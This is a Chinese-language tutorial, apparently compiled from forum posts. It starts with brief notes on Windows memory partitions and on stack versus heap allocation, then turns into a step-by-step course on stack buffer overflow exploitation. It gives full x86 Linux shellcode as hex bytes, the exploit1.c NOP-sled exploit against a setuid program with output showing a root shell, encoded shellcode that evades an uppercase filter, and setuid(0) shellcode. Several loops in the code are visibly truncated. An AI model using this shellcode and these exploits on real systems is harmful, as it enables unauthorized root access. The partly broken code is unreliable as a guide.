        NULL指针分配分区       0x00000000~0x0000ffff   0x00000000~0x00000fff
        MS-DOS/Win16兼容分区   无                      0x00001000~0x003fffff
        用户分区               0x00010000~0x7ffeffff   0x00400000~0x7fffffff
        禁止访问分区(64K)    0x7fff0000~0x7fffffff   无
        共享(MMF)分区        无                      0x80000000~0xbfffffff
        内核方式分区           0x80000000~0xffffffff   0xc0000000~0xffffffff
        
    (上表资料来自:《Windows核心编程》)
    NULL指针分区是NULL指针的地址范围。对这个区域的读写企图都将引发访问违规。
    DOS/WIN16分区是98中专门用于16位的DOS和windows程序运行的空间,所有的16位程序将共享这个4M的空间。Win2000中不存在这个分区,16位程序也会拥有自己独立的虚拟地址空间。有的文章中称win2000中不能运行16位程序,是不确切的。
    用户分区是进程的私有领域,Win2000中,程序的可执行代码和其它用户模块均加载在这里,内存映射文件也会加载在这里。Win98中的系统共享DLL和内存映射文件则加载在共享分区中。
    禁止访问分区只有在win2000中有。这个分区是用户分区和内核分区之间的一个隔离带,目的是为了防止用户程序违规访问内核分区。
    MMF分区只有win98中有,所有的内存映射文件和系统共享DLL将加载在这个地址。而2000中则将其加载到用户分区。
    内 核方式分区对用户的程序来说是禁止访问的,操作系统的代码与此。内核对象是否也驻留在此?我认为应该是的,因为应用程序不能直接访问内核对象。但是关于这 点我没找到有关的叙述,不知哪位大侠有确切的依据?另外要说明的是,win98中对于内核分区本也应该提供保护的,但遗憾的是并没有做到,因而98中程序 可以访问内核分区的地址空间。

    每一个进程在创建时都分配一个静态存储区域、一个堆和一个栈。
    静态存储区域用于存储进程的全局变量和静态变量;这个对于理解MFC的theApp对象也挺有帮助的。
    全局变量和静态变量“从静态存储区域分配。程序在编译的时候就已经分配好内存的分布,这块内存在程序的整个运行期间都存在。”(见http://www.fanqiang.com/a4/b2/20020719/060200272.html)
    堆可以动态分配内存。
    1)“程序在运行的时候用malloc或new从堆上动态申请任意多少的内存,程序员自己负责在何时用free或delete释放内存。”(见http://www.fanqiang.com/a4/b2/20020719/060200272.html)
    2)“堆应该是保留的一段内存空间,在进程初始化的时候,系统会提交一部分物理存储。进程的堆的初始大小默认是1MB,这个可以在连接时用/HEAP开关 自己控制。物理存贮的提交和回收应该是由堆管理器来管理的。”“堆应该是自动增长的。”“我们说的“自动生长”指的是在预先保留的全部堆空间都不够用的时 候,重新来从自由区域保留。”(见http://www.pcvc.net/category/content.asp?sendid=118)
    每一个函数都可以对栈操作,用于存储参数和局部变量。
    1)“在执行函数时,函数的参数和函数内的局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。”(见http://www.fanqiang.com/a4/b2/20020719/060200272.html)
    2)“(在函数内)声明变量/数组的方式,是在栈中分配内存。”“当调用完此函数返回的时候,栈空间自动被收回,其中的内容也就全部无效了。”(见http://www.pcvc.net/category/content.asp?sendid=114)
    例子:(引用朱茂盛提供的)
    1)定义函数 
    char *testfunc() 

    char *pret="return character"; 
    return pret; 

    然后调用
    char *pp = testfunc(); 
    otherfunc();
    printf(pp);
    这样有问题吗?


    2)定义函数
    char *testfunc() 

    char pret[]="return character"; 
    return pret; 

    然后调用
    char *pp = testfunc(); 
    otherfunc();
    printf(pp);
    这样呢? 


    分析:1)中虽然变量pret分配在栈中,但"return character"是分配在进程的数据区的,在整个进程的生命期内有效;2)中"return character"是数组的内容,是分配在栈中的,一旦出了这个函数,就从栈中释放。所以1)中没问题而2)中有问题。


    有人说:“DLL 可 以 有 自 己 的 数 据 段, 但 是 它 没 有 堆 栈 段, 使 用 的 是 调 用 程 序 的 堆 栈。”(见http://www.2000n.com/02.htm)
    也有人说:“DLL有自己的堆栈”。(见http://www.csdn.net/Develop/article/15%5C15747.shtm)
    而朱茂盛说:在DLL中的函数里面分配的空间,是不允许在调用DLL的程序里面释放的。这么说来,DLL确实是有自己的堆栈的。


    线程具有自己的内存布局。“进程中每个线程都有自己的堆栈,这是一段线程创建时保留下的地址区域。”(见http://www.pcvc.net/category/content.asp?sendid=118)


    1:首先复习一下基础知识。


    从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变
    量。
    静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局
    部变量
    则分配在堆栈里面。


    从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好
    相反。
    我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP
    -4,
    出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要
    大。
    请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。


    在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局
    部变量,
    接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的
    内容将
    被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地
    址,弹出
    返回地址到EIP以继续执行程序。


    在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时
    候,是:
    先压c,再压b,最后压a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取
    b,最后
    取c。
    (PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语
    言书籍
    都会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)


    2:好了,继续,让我们来看一看什么是堆栈溢出。


    2.1:运行时的堆栈分配


    堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,
    导致
    数据越界。结果覆盖了老的堆栈数据。


        比如有下面一段程序:
    程序一:
    #include 
    int main ( )
    {
        char name[8];
        printf("lease type your name: ");
        gets(name);
        printf("Hello, %s!", name);
        return 0;
    }     


    编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎
    么操作
    的呢?


    在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。


    我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句



        pushl %ebp
        movl %esp,%ebp
        subl $8,%esp


    首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数

    局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在
    堆栈
    的布局如下:


    内存底部                     内存顶部
          name     EBP   ret   
    <------   [     ][   ][   ]
          ^&name
    堆栈顶部                     堆栈底部     


    执行完gets(name)之后,堆栈如下:


    内存底部                     内存顶部
          name     EBP   ret   
    <------   [ipxodi\0 ][   ][   ]
          ^&name
    堆栈顶部                     堆栈底部     


    最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。




    2.2:堆栈溢出


    好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
    gets(name)
    之后,堆栈如下:


    内存底部                     内存顶部
          name     EBP   ret   
    <------   [ipxodiAA][AAAA][AAAA].......
          ^&name
    堆栈顶部                     堆栈底部     


    由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A
    ’。
    由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。
    如图
    我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘
    AAAA’
    的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处的指令,结果
    出现
    错误。这就是一次堆栈溢出。


    3:如何利用堆栈溢出


    我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
    (gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界

    覆盖堆栈中的老元素的值,就可以修改返回地址。


    在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。


    事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果


    我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令



    在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢

    的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。




    下一讲将叙述如何书写一个shell code。


              如何书写一个shell code


    一:shellcode基本算法分析


    在程序中,执行一个shell的程序是这样写的:
    shellcode.c
    ------------------------------------------------------------------------
    -----
    #include 


    void main() {
      char *name[2];


      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
    }
    ------------------------------------------------------------------------
    ------
    execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
    该程序
    的argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个
    参数。


    我们来看以看execve的汇编代码:
    [nkl10]$ gcc -o shellcode -static shellcode.c
    [nkl10]$ gdb shellcode
    (gdb) disassemble __execve
    Dump of assembler code for function __execve:
    0x80002bc <__execve>:   pushl %ebp               ;
    0x80002bd <__execve+1>: movl   %esp,%ebp           
                    ;上面是函数头。
    0x80002bf <__execve+3>: pushl %ebx               
                    ;保存ebx
    0x80002c0 <__execve+4>: movl   $0xb,%eax           
                    ;eax=0xb,eax指明第几号系统调用。
    0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx       
                    ;ebp+8是第一个参数"/bin/sh\0"
    0x80002c8 <__execve+12>:     movl   0xc(%ebp),%ecx   
                    ;ebp+12是第二个参数name数组的地址
    0x80002cb <__execve+15>:     movl   0x10(%ebp),%edx 
                    ;ebp+16是第三个参数空指针的地址。
                    ;name[2-1]内容为NULL,用来存放返回值。
    0x80002ce <__execve+18>:     int   $0x80         
                    ;执行0xb号系统调用(execve)
    0x80002d0 <__execve+20>:     movl   %eax,%edx     
                    ;下面是返回值的处理就没有用了。
    0x80002d2 <__execve+22>:     testl %edx,%edx
    0x80002d4 <__execve+24>:     jnl   0x80002e6 <__execve+42>
    0x80002d6 <__execve+26>:     negl   %edx
    0x80002d8 <__execve+28>:     pushl %edx
    0x80002d9 <__execve+29>:     call   0x8001a34 
    <__normal_errno_location>
    0x80002de <__execve+34>:     popl   %edx
    0x80002df <__execve+35>:     movl   %edx,(%eax)
    0x80002e1 <__execve+37>:     movl   $0xffffffff,%eax
    0x80002e6 <__execve+42>:     popl   %ebx
    0x80002e7 <__execve+43>:     movl   %ebp,%esp
    0x80002e9 <__execve+45>:     popl   %ebp
    0x80002ea <__execve+46>:     ret
    0x80002eb <__execve+47>:     nop
    End of assembler dump.


    经过以上的分析,可以得到如下的精简指令算法:
    movl   $execve的系统调用号,%eax       
    movl   "bin/sh\0"的地址,%ebx         
    movl   name数组的地址,%ecx     
    movl   name[n-1]的地址,%edx   
    int   $0x80         ;执行系统调用(execve)


    当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
    可是,
    如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后
    续的
    指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,
    结束shellcode.c的执行。


    我们来看以看exit(0)的汇编代码:
    (gdb) disassemble _exit
    Dump of assembler code for function _exit:
    0x800034c <_exit>:     pushl %ebp
    0x800034d <_exit+1>:   movl   %esp,%ebp
    0x800034f <_exit+3>:   pushl %ebx
    0x8000350 <_exit+4>:   movl   $0x1,%eax     ;1号系统调用
    0x8000355 <_exit+9>:   movl   0x8(%ebp),%ebx   ;ebx为参数0
    0x8000358 <_exit+12>:   int   $0x80         ;引发系统调用
    0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
    0x800035d <_exit+17>:   movl   %ebp,%esp
    0x800035f <_exit+19>:   popl   %ebp
    0x8000360 <_exit+20>:   ret
    0x8000361 <_exit+21>:   nop
    0x8000362 <_exit+22>:   nop
    0x8000363 <_exit+23>:   nop
    End of assembler dump.


    看来exit(0)〕的汇编代码更加简单:
    movl   $0x1,%eax     ;1号系统调用
    movl   0,%ebx       ;ebx为exit的参数0
    int   $0x80         ;引发系统调用


    那么总结一下,合成的汇编代码为:
    movl   $execve的系统调用号,%eax       
    movl   "bin/sh\0"的地址,%ebx         
    movl   name数组的地址,%ecx     
    movl   name[n-1]的地址,%edx   
    int   $0x80         ;执行系统调用(execve)
    movl   $0x1,%eax     ;1号系统调用
    movl   0,%ebx       ;ebx为exit的参数0
    int   $0x80         ;执行系统调用(exit)


    二:实现一个shellcode


    好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个
    name数组
    。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
    程序都是
    动态加载,字符串和name数组的地址都不是固定的。


    通过JMP和call的结合,黑客们巧妙的解决了这个问题。
    ------------------------------------------------------------------------
    ------
    jmp   call的偏移地址       # 2 bytes
    popl   %esi               # 1 byte     //popl出来的是string的地址。
    movl   %esi,array-offset(%esi) # 3 bytes     //在string+8处构造 name数组,


                                    //name[0]放 string的地址


    movb   $0x0,nullbyteoffset(%esi)# 4 bytes     //string+7处放0作为string的结
    尾。
    movl   $0x0,null-offset(%esi)   # 7 bytes     //name[1]放0。
    movl   $0xb,%eax           # 5 bytes     //eax=0xb是execve的syscall代码

    movl   %esi,%ebx           # 2 bytes     //ebx=string的地址
    leal   array-offset,(%esi),%ecx # 3 bytes     //ecx=name数组的开始地址
    leal   null-offset(%esi),%edx   # 3 bytes     //edx=name〔1]的地址
    int   $0x80             # 2 bytes     //int 0x80是sys call
    movl   $0x1, %eax           # 5 bytes     //eax=0x1是exit的syscall代码
    movl   $0x0, %ebx           # 5 bytes     //ebx=0是exit的返回值
    int   $0x80             # 2 bytes     //int 0x80是sys call
    call   popl 的偏移地址       # 5 bytes     //这里放call,string 的地址就会

                                    //为返回地址压栈。
    /bin/sh 字符串
    ------------------------------------------------------------------------
    ------
    首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作
    为call的
    返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就
    获得了
    字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字
    节,构造
    name数组(两个整数,八个字节)。


    我们可以写shellcode了。先写出汇编源程序。
    shellcodeasm.c
    ------------------------------------------------------------------------
    ------
    void main() {
    __asm__("
        jmp   0x2a               # 3 bytes
        popl   %esi               # 1 byte
        movl   %esi,0x8(%esi)       # 3 bytes
        movb   $0x0,0x7(%esi)       # 4 bytes
        movl   $0x0,0xc(%esi)       # 7 bytes
        movl   $0xb,%eax           # 5 bytes
        movl   %esi,%ebx           # 2 bytes
        leal   0x8(%esi),%ecx       # 3 bytes
        leal   0xc(%esi),%edx       # 3 bytes
        int   $0x80             # 2 bytes
        movl   $0x1, %eax           # 5 bytes
        movl   $0x0, %ebx           # 5 bytes
        int   $0x80             # 2 bytes
        call   -0x2f             # 5 bytes
        .string \"/bin/sh\"         # 8 bytes
    ");
    }
    ------------------------------------------------------------------------
    ------
    编译后,用gdb的
    b/bx 〔地址〕 
    命令可以得到十六进制的表示。
    下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)


    test.c
    ------------------------------------------------------------------------
    ------


    char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";


    void main() {
      int *ret;


      ret = (int *)&ret + 2;     //ret 等于main()的返回地址
                        //(+2是因为:有pushl ebp ,否则加1就可以了。)


      (*ret) = (int)shellcode;   //修改main()的返回地址为shellcode的开始地
    址。


    }


    ------------------------------------------------------------------------
    ------
    ------------------------------------------------------------------------
    ------
    [nkl10]$ gcc -o test test.c
    [nkl10]$ ./test
    $ exit
    [nkl10]$
    ------------------------------------------------------------------------
    ------
    我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地
    址ret
    设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的
    shellcode,从
    而我们得到了一个shell。


    运行结果,得到了bsh的提示符$,表明成功的开了一个shell。


    这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作
    为一段
    代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而
    我们的
    代码中movl   %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码
    段。


    这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,
    关键在
    于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
    以"\0"
    为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。
    因此,
    对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有
    \0字符
    出现的。


    因此,有些指令需要修改一下:
          旧的指令                   新的指令
          --------------------------------------------------------
          movb   $0x0,0x7(%esi)           xorl   %eax,%eax
          molv   $0x0,0xc(%esi)           movb   %eax,0x7(%esi)
                                    movl   %eax,0xc(%esi)
          --------------------------------------------------------
          movl   $0xb,%eax               movb   $0xb,%al
          --------------------------------------------------------
          movl   $0x1, %eax             xorl   %ebx,%ebx
          movl   $0x0, %ebx             movl   %ebx,%eax
                                    inc   %eax
          --------------------------------------------------------


    最后的shellcode为:
    ------------------------------------------------------------------------
    ----
    char shellcode[]=
    00     "\xeb\x1f"               /* jmp 0x1f         */
    02     "\x5e"                 /* popl %esi         */
    03     "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
    06     "\x31\xc0"               /* xorl %eax,%eax     */
    08     "\x88\x46\x07"             /* movb %eax,0x7(%esi)   */
    0b     "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
    0e     "\xb0\x0b"               /* movb $0xb,%al       */
    10     "\x89\xf3"               /* movl %esi,%ebx     */
    12     "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
    15     "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
    18     "\xcd\x80"               /* int $0x80         */
    1a     "\x31\xdb"               /* xorl %ebx,%ebx     */
    1c     "\x89\xd8"               /* movl %ebx,%eax     */
    1e     "\x40"                 /* inc %eax         */
    1f     "\xcd\x80"               /* int $0x80         */
    21     "\xe8\xdc\xff\xff\xff"       /* call -0x24         */
    26     "/bin/sh";               /* .string \"/bin/sh\"   */
    ------------------------------------------------------------------------
    ----


    三:利用堆栈溢出获得shell


    好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已
    经作完,
    我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
    overflow1.c
    ------------------------------------------------------------------------
    ------
    char shellcode[] =
        
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    char large_string[128];


    void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;


    for (i = 0; i < 32; i++)
      *(long_ptr + i) = (int) buffer;


    for (i = 0; i < strlen(shellcode); i++)
      large_string = shellcode;


    strcpy(buffer,large_string);
    }
    ------------------------------------------------------------------------
    ------
    在执行完strcpy后,堆栈内容如下所示:


    内存底部                     内存顶部
          buffer     EBP   ret   
    <------   [SSS...SSSA ][A   ][A   ]A..A
          ^&buffer
    堆栈顶部                     堆栈底部     
    注:S表示shellcode。
      A表示shellcode的地址。


    这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了
    我们的
    shellcode。


    利用堆栈溢出获得shell


    现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
    将面对
    一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。


    回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
    strcpy
    函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
    开始地
    址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
    shellcode,从而我们得到了一个shell。


    当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
    事:
    1:把我们的shellcode提供给他,让他可以访问shellcode。
    2:修改他的返回地址为shellcode的入口地址。


    为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
    的地址。
    因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
    始地址
    ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。


    我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
    相同的
    。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
    序堆栈
    的开始地址。


    下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
    寄存器
    里面):
    ------------------------------------------------------------------------
    ------
    unsigned long get_sp(void) {
      __asm__("movl %esp,%eax");
    }
    ------------------------------------------------------------------------
    ------


    我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

    写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
    几K
    左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。


    显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。




    前面我们用来覆盖堆栈的溢出字符串为:
    SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    现在,为了提高命中率,我们对他进行如下改进:
    用来溢出的字符串变为:
    NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
    其中:
    N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
    NOP指令的机器码为0x90。
    S为shellcode。
    A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
    S.
    这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))


    好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
    shell的程序:
    exploit1.c
    ------------------------------------------------------------------------
    ----
    #include
    #include


    #define OFFSET                   0
    #define RET_POSITION             1024
    #define RANGE                   20
    #define NOP                   0x90


    char shellcode[]=
        "\xeb\x1f"               /* jmp 0x1f         */
        "\x5e"                 /* popl %esi         */
        "\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x88\x46\x07"             /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"               /* movb $0xb,%al       */
        "\x89\xf3"               /* movl %esi,%ebx     */
        "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\x89\xd8"               /* movl %ebx,%eax     */
        "\x40"                 /* inc %eax         */
        "\xcd\x80"               /* int $0x80         */
        "\xe8\xdc\xff\xff\xff"       /* call -0x24         */
        "/bin/sh";               /* .string \"/bin/sh\"   */


    unsigned long get_sp(void)
    {
        __asm__("movl %esp,%eax");
    }


    main(int argc,char **argv)
    {
        char buff[RET_POSITION+RANGE+1],*ptr;
        long addr;
        unsigned long sp;
        int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
        int i;


        if(argc>1)
              offset=atoi(argv[1]);


        sp=get_sp();
        addr=sp-offset;


        for(i=0;i           *((long *)&(buff))=addr;


        for(i=0;i           buff=NOP;


        ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
        for(i=0;i           *(ptr++)=shellcode; 
        buff[bsize-1]='\0';
                    //现在buff的内容为
                    //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0


        printf("Jump to 0x%08x\n",addr);


        execl("./vulnerable1","vulnerable1",buff,0);
    }
    ------------------------------------------------------------------------
    ----
    execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
    作为./vulnerable1的参数提供。
    以下是执行的结果:
    ------------------------------------------------------------------------
    ----
    [nkl10]$ ls -l vulnerable1
    -rwsr-xr-x   1 root   root       xxxx jan 10 16:19 vulnerable1*
    [nkl10]$ ls -l exploit1
    -rwxr-xr-x   1 ipxodi   cinip     xxxx Oct 18 13:20 exploit1*
    [nkl10]$ ./exploit1
    Jump to 0xbfffec64
    Segmentation fault
    [nkl10]$ ./exploit1 500
    Jump to 0xbfffea70
    bash# whoami
    root
    bash#
    ------------------------------------------------------------------------
    ----
    恭喜,恭喜,你获得了root shell。


    下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
    shellcode。


       复杂的shellcode


    前面几讲,我们已经有了基本的堆栈溢出知识,可以编写基本的shellcode了。这
    一讲,
    我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的shellcode。


    复杂shellcode的产生是由于有一定防范措施的的目标程序。(所谓道高一尺,魔
    高一丈)
    。以下分类讨论几种情况。注意,下面的分类是不全面的,也不可能穷尽所有的情
    况,
    只是提供一些例子来阐明修改shellcode的技巧。


    1:输入的溢出字符串被预处理


    比如,如果敌人在自己的程序里面加入如下代码,就可抑制前面提到的堆栈溢出的
    攻击:
    ------------------------------------------------------------------------
    ----
              。。。。。。
              for(i=0;i                 argv[1]=toupper(argv[1]);
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^加入的代码
              。。。。。。
              strcpy(buffer,argv[1]);
        
    ------------------------------------------------------------------------
    ----
    显然,由于toupper函数对输入进行了过滤处理,/bin/sh变成了\BIN\SH,UNIX系
    统是
    大小写敏感的,因此execve系统调用不会成功。自然得不到shell。


    怎么办?我们可以修改shellcode,使他不包含ascII为0x60--0x7a的字符。我们把


    /bin/sh的每一个字母都减去0x50,得到"\x2f\x12\x19\x1e\x2f\x23\x18",在
    shellcode
    里面再把它们改回来。


    另外,指令"\x89\x76\x08"             /* movl %esi,0x8(%esi)   */
    也有问题字符\x76.我们可以把他改成其他的等价指令。比如改成:
    "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)".


    新的shellcode如下:
    char shellcode[]=
        "\xeb\x38"               /* jmp 0x38         */
        "\x5e"                 /* popl %esi         */
        "\x80\x46\x01\x50"         /* addb $0x50,0x1(%esi) */
        "\x80\x46\x02\x50"         /* addb $0x50,0x2(%esi) */
        "\x80\x46\x03\x50"         /* addb $0x50,0x3(%esi) */
        "\x80\x46\x05\x50"         /* addb $0x50,0x5(%esi) */
        "\x80\x46\x06\x50"         /* addb $0x50,0x6(%esi) */
        "\x89\xf0"               /* movl %esi,%eax     */
        "\x83\xc0\x08"             /* addl $0x8,%eax     */
        "\x89\x46\x08"             /* movl %eax,0x8(%esi)   */
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x88\x46\x07"             /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"             /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"               /* movb $0xb,%al       */
        "\x89\xf3"               /* movl %esi,%ebx     */
        "\x8d\x4e\x08"             /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"             /* leal 0xc(%esi),%edx   */
        "\xcd\x80"               /* int $0x80         */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\x89\xd8"               /* movl %ebx,%eax     */
        "\x40"                 /* inc %eax         */
        "\xcd\x80"               /* int $0x80         */
        "\xe8\xc3\xff\xff\xff"       /* call -0x3d         */
        "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"   */
                              /* /bin/sh is disguised */
    好,一个新的shellcode,绕过了预处理器的检查。我们可以用这种方法解决那些
    不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的,等等。


    2:对付seteuid(getuid())
    有的程序在开始的时候seteuid(getuid()),然后在需要的时候才进行
    setuid(0)。这样就可以在发生堆栈溢出的时候由于euid!=0而使我们只能得到普
    通shell。


    当你搞定了一个setuid位的程序,却发现只得到了普通用户shell的时候,就很可
    能是这种情况。


    但是,如果我们在自己的shellcode里面加上setuid(0),就一样可以得到
    rootshell。


    我们写一个带有setuid的程序,用gcc -static 编译,使用gdb来试验:
    (gdb) disassemble setuid
    Dump of assembler code for function __setuid:
    0x804ca00 <__setuid>:   movl   %ebx,%edx
    0x804ca02 <__setuid+2>: movl   0x4(%esp,1),%ebx
    0x804ca06 <__setuid+6>: movl   $0x17,%eax
    0x804ca0b <__setuid+11>:     int   $0x80
    0x804ca0d <__setuid+13>:     movl   %edx,%ebx
    0x804ca0f <__setuid+15>:     cmpl   $0xfffff001,%eax
    0x804ca14 <__setuid+20>:     jae   0x804cc10 <__syscall_error>
    0x804ca1a <__setuid+26>:     ret   
    0x804ca1b <__setuid+27>:     nop   
    0x804ca1c <__setuid+28>:     nop   
    0x804ca1d <__setuid+29>:     nop   
    0x804ca1e <__setuid+30>:     nop   
    0x804ca1f <__setuid+31>:     nop   
    End of assembler dump.
    我们可以用b/bx指令得到:setuid(0)的汇编代码:
    ------------------------------------------------------------------------
    ----
    char code[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\xb0\x17"               /* movb $0x17,%al     */
        "\xcd\x80";               /* int $0x80         */
    ------------------------------------------------------------------------
    ----
    把这段代码加到标准shellcode中jmp的前面就可以了。
    (注意,最好不要加到jmp的后面,因为还要重新计算偏移,而且如果期间有堆栈
    操作,
    就把string的返回地址冲掉了)


    new shellcode
    ------------------------------------------------------------------------
    ----
    char shellcode[]=
        "\x31\xc0"               /* xorl %eax,%eax     */
        "\x31\xdb"               /* xorl %ebx,%ebx     */
        "\xb0\x17"               /* movb $0x17,%al     */
        "\xcd\x80"               /* int $0x80         */
        "\xeb\x1f"               /* jmp 0x1f         */
        "\x5e"                 /* popl %esi         */
